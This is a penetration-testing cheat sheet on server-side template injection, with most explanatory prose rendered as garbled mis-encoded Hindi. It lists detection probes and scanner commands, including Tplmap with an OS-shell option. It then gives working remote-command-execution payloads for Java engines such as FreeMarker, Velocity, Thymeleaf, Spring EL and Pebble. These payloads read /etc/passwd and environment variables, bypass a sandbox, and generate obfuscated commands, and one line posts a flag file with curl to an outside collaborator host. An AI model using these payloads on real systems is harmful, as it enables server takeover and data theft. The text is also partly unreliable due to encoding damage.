SSTI (Server Side Template Injection)

Reading time: 32 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

SSTI (рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди) рдХреНрдпрд╛ рд╣реИ

рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдПрдХ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдХрдордЬреЛрд░реА рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Jinja рд╢рд╛рдорд┐рд▓ рд╣реИред

Jinja рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рд╣реИ рдЬреЛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдЗрдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬреЛ Jinja рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдХрдордЬреЛрд░ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ:

python
output = template.render(name=request.args.get('name'))

рдЗрд╕ рдХрдордЬреЛрд░ рдХреЛрдб рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрд░реЛрдз рд╕реЗ name рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕реАрдзреЗ render рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ name рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} рдХреЛ name рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдкреЗрд▓реЛрдб Jinja рдЯреЗрдореНрдкрд▓реЗрдЯ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЕрдирдзрд┐рдХреГрдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдпрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдбрд╛рд▓реЗ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рд╛рдл рдФрд░ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрдирдкреБрдЯ рдорд╛рдиреНрдпрддрд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдФрд░ рд╕рдВрджрд░реНрдн-рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓реЗ рдПрд╕реНрдХреЗрдкрд┐рдВрдЧ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред

Detection

рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди (SSTI) рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ рдлрдЬрд╝ рдХрд░рдирд╛ рдПрдХ рд╕реАрдзрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╣реИред рдЗрд╕рдореЗрдВ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ (${{<%[%'"}}%\) рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рдФрд░ рдирд┐рдпрдорд┐рдд рдбреЗрдЯрд╛ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдХрдордЬреЛрд░реА рдХреЗ рд╕рдВрдХреЗрддреЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • рдлреЗрдВрдХреЗ рдЧрдП рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдЬреЛ рдХрдордЬреЛрд░реА рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИрдВред
  • рдкрд░рд╛рд╡рд░реНрддрди рдореЗрдВ рдкреЗрд▓реЛрдб рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐, рдпрд╛ рдЗрд╕рдХреЗ рдХреБрдЫ рд╣рд┐рд╕реНрд╕реЛрдВ рдХрд╛ рдЧрд╛рдпрдм рд╣реЛрдирд╛, рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЗрд╕реЗ рдирд┐рдпрдорд┐рдд рдбреЗрдЯрд╛ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред
  • Plaintext Context: XSS рд╕реЗ рдЕрд▓рдЧ рдкрд╣рдЪрд╛рдиреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ (рдЬреИрд╕реЗ, {{7*7}}, ${7*7})ред
  • Code Context: рдЗрдирдкреБрдЯ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдмрджрд▓рдХрд░ рдХрдордЬреЛрд░реА рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, http://vulnerable-website.com/?greeting=data.username рдореЗрдВ greeting рдХреЛ рдмрджрд▓рдХрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдЧрддрд┐рд╢реАрд▓ рд╣реИ рдпрд╛ рд╕реНрдерд┐рд░, рдЬреИрд╕реЗ greeting=data.username}}hello рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рд▓реМрдЯрд╛рддрд╛ рд╣реИред

Identification Phase

рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдХреА рдкрд╣рдЪрд╛рди рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рдпрд╛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рд╖рд╛-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреЗрд▓реЛрдб рдХрд╛ рдореИрдиреНрдпреБрдЕрд▓ рдкрд░реАрдХреНрд╖рдг рдХрд░рдХреЗ рдХреА рдЬрд╛рддреА рд╣реИред рд╕рд╛рдорд╛рдиреНрдп рдкреЗрд▓реЛрдб рдЬреЛ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рдЙрдирдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ ${7/0}, {{7/0}}, рдФрд░ <%= 7/0 %>ред рдЧрдгрд┐рддреАрдп рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рджреЗрдЦрдирд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

рдПрдХ рдкреНрд░рднрд╛рд╡реА SSTI + CSTI рд╕реНрдХреИрдирд░ рдЬреЛ рдирд╡реАрдирддрдо рдкреЙрд▓реАрдЧреНрд▓реЙрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

рдПрдХ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рдЯреЗрдмрд▓ рдЬрд┐рд╕рдореЗрдВ рд╕рдмрд╕реЗ рдкреНрд░рднрд╛рд╡реА рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдкреЙрд▓реАрдЧреНрд▓реЙрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рд╕рд╛рде рд╣реА 44 рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрдиреЛрдВ рдХреЗ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рднреА рд╣реИрдВред

Exploits

Generic

рдЗрд╕ wordlist рдореЗрдВ рдЖрдк рдиреАрдЪреЗ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдХреБрдЫ рдЗрдВрдЬрдиреЛрдВ рдХреЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

Java

Java - Basic injection

java
${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

java
${T(java.lang.System).getenv()}

Java - /etc/passwd рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

рдЖрдк рдЕрдкрдиреЗ рдкреЗрд▓реЛрдбреНрд╕ рдХреЛ https://try.freemarker.apache.org рдкрд░ рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВ

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} рдХреБрдЫ рдирд╣реАрдВ
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox рдмрд╛рдпрдкрд╛рд╕

тЪая╕П рдХреЗрд╡рд▓ Freemarker рдХреЗ 2.3.30 рд╕реЗ рдиреАрдЪреЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

java
<#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Velocity (Java)

java
// I think this doesn't work #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end // This should work? #set($s="") #set($stringClass=$s.getClass()) #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) #set($process=$runtime.exec("cat%20/flag563378e453.txt")) #set($out=$process.getInputStream()) #set($null=$process.waitFor() ) #foreach($i+in+[1..$out.available()]) $out.read() #end

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

Thymeleaf

Thymeleaf рдореЗрдВ, SSTI рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдкрд░реАрдХреНрд╖рдг рд╣реИ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ ${7*7} , рдЬреЛ рдЗрд╕ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдкрд░ рднреА рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИред рд╕рдВрднрд╛рд╡рд┐рдд рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • SpringEL:
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf рдХреЛ рдЗрди рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рднреАрддрд░ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, expression inlining рдЕрдиреНрдп рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕реНрдерд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдерд┐рдд рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ [[...]] рдпрд╛ [(...)] рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдПрдХ рд╕рд░рд▓ SSTI рдкрд░реАрдХреНрд╖рдг рдкреЗрд▓реЛрдб рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддрд╛ рд╣реИ [[${7*7}]]ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдкреЗрд▓реЛрдб рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдХрдо рд╣реИред Thymeleaf рдХреА рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЧрддрд┐рд╢реАрд▓ рдЯреЗрдореНрдкрд▓реЗрдЯ рдирд┐рд░реНрдорд╛рдг рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреА; рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рд░реВрдк рд╕реЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ TemplateResolver рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЬреЛ рдЕрд╕рд╛рдорд╛рдиреНрдп рд╣реИред

Thymeleaf expression preprocessing рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдбрдмрд▓ рдЕрдВрдбрд░рд╕реНрдХреЛрд░ (__...__) рдХреЗ рднреАрддрд░ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдкреВрд░реНрд╡-рдкреНрд░рд╕рдВрд╕реНрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ Thymeleaf рдХреЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

java
#{selection.__${sel.code}__}

Thymeleaf рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрджрд╛рд╣рд░рдг

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ, рдЬреЛ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:

xml
<a th:href="@{__${path}__}" th:title="${title}"> <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдЗрди рдЗрдирдкреБрдЯ рдХреЛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ URLs рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ:

http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

EL - Expression Language

рд╕реНрдкреНрд░рд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ (рдЬрд╛рд╡рд╛)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

рдлрд┐рд▓реНрдЯрд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

рдпрджрд┐ ${...} рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рддреЛ рдХрдИ рд╡реЗрд░рд┐рдПрдмрд▓ рдПрдХреНрд╕рдкреНрд░реЗрд╢рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ #{...}, *{...}, @{...} рдпрд╛ ~{...}ред

  • /etc/passwd рдкрдврд╝реЗрдВ
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • рдкреЗрд▓реЛрдб рдЬрдирд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ
python
#!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload)

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рд╕реНрдкреНрд░рд┐рдВрдЧ рд╡реНрдпреВ рдореИрдирд┐рдкреБрд▓реЗрд╢рди (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble рдХрд╛ рдкреБрд░рд╛рдирд╛ рд╕рдВрд╕реНрдХрд░рдг ( < version 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble рдХрд╛ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг:

java
{% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

